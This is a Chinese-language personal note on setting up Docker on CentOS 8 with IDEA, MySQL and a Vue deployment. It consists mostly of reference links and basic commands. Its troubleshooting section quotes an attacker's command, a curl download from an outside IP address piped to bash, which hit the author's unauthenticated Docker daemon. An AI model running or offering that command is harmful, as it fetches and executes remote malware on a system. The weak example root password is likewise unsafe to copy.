Linux安装docker并配置IDEA和mysql
环境
| 时间 | 2021年8月 |
|---|---|
| 操作系统 | Centos8 |
1. 安装docker
参考:
部署并使用Docker(CentOS 8) - 云服务器 ECS - 阿里云 https://help.aliyun.com/document_detail/187598.html?spm=a2c4g.11186623.6.1349.5c474828B7yxAE
2. IDEA中使用docker
【Docker学习-12】在IDEA远程连接docker(附ssl连接加密)超级详细_计忆芳华的博客-CSDN博客 https://blog.csdn.net/qq_43925089/article/details/106193871
(37条消息) IDEA使用Docker插件(Docker integration)_CodeRoc的博客-CSDN博客 https://blog.csdn.net/qq_41168609/article/details/99706754
3. 精简java镜像体积
最小化 Java 镜像的常用技巧 - SegmentFault 思否
https://segmentfault.com/a/1190000017858358
4. 安装mysql
> docker pull mysql
> sudo docker run -p 3307:3306 --name mysql -e MYSQL_ROOT_PASSWORD=123456 -d mysql
远程连接mysql用3307端口,密码为123456
#补充docker命令说明:
-v 主机的目录作为容器的数据卷
-e 设置启动容器是的环境变量
-t 分配terminal终端
--name 设置容器名称
-p 端口映射,格式为:主机(宿主)端口:容器端口
-link 添加链接到另一个容器
通过容器 IP 进行通信
查看mysql容器的详细信息
docker inspect mysql
找到 mysql 容器的IPAddress。修改 java 的数据库连接地址
jdbc:mysql://ip:3306
注意:重启docker mysql后ip可能变化
参考:
使用Docker搭建MySQL服务 - sablier - 博客园
https://www.cnblogs.com/sablier/p/11605606.html
docker内springboot项目连接mysql - 嘴角轻扬30的个人空间 - OSCHINA - 中文开源技术交流社区
https://my.oschina.net/u/3387320/blog/3064836
Docker部署SpringBoot+MySql项目 - 知乎
https://zhuanlan.zhihu.com/p/102802904
使用docker创建MySQL容器,并在springboot中使用 - 轻舟万里 - 博客园
https://www.cnblogs.com/qzwl/p/12358769.html
手动部署MySQL(CentOS 8) - 云服务器 ECS - 阿里云
5. 部署Vue项目
docker--部署vue项目 - 邹邹很busy。 - 博客园
https://www.cnblogs.com/zouzou-busy/p/11838524.html
vue+nginx时nginx配置 - _天枢 - 博客园
https://www.cnblogs.com/yhleng/p/13704247.html
6. 遇到的问题
docker无法启动
参考以下安装docker,导致docker无法启动
阿里云ECS服务器安装docker(图文教程)-阿里云开发者社区 https://developer.aliyun.com/article/766518
{ "registry-mirrors": "https://registry.docker-cn.com", "live-restore": true }
解决方法
修改配置文件???
{
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"]
}
参考
centos7 - Docker service start failed - Stack Overflow https://stackoverflow.com/questions/39100641/docker-service-start-failed
Docker配置镜像加速器重启Docker服务失败_游语-CSDN博客 https://blog.csdn.net/qq_26400953/article/details/79913367
遭遇黑客攻击
Docker无安全认证,导致几个小时后被以下攻击
root curl http://199.19.226.117/b2f628/cronb.sh|bash
解决方案
重装系统,重新安装docker,并添加ssh认证
mac ssh无法连接
重装系统后,mac ssh无法连接
参考
(35条消息) CentOS7.5:ECDSA host key “ip地址“ for has changed and you have requested strict checking_bang152101的博客-CSDN博客 https://blog.csdn.net/bang152101/article/details/107543582
其他
IDEA+docker实践 - 邹姣姣 - 博客园
https://www.cnblogs.com/zoujiaojiao/p/11912142.html
不要手动部署SpringBoot项目了,使用Docker真香!_Java笔记虾-CSDN博客
https://javazhiyin.blog.csdn.net/article/details/110358709
转载 江南一点雨 一键部署docker - 小傻孩丶儿 - 博客园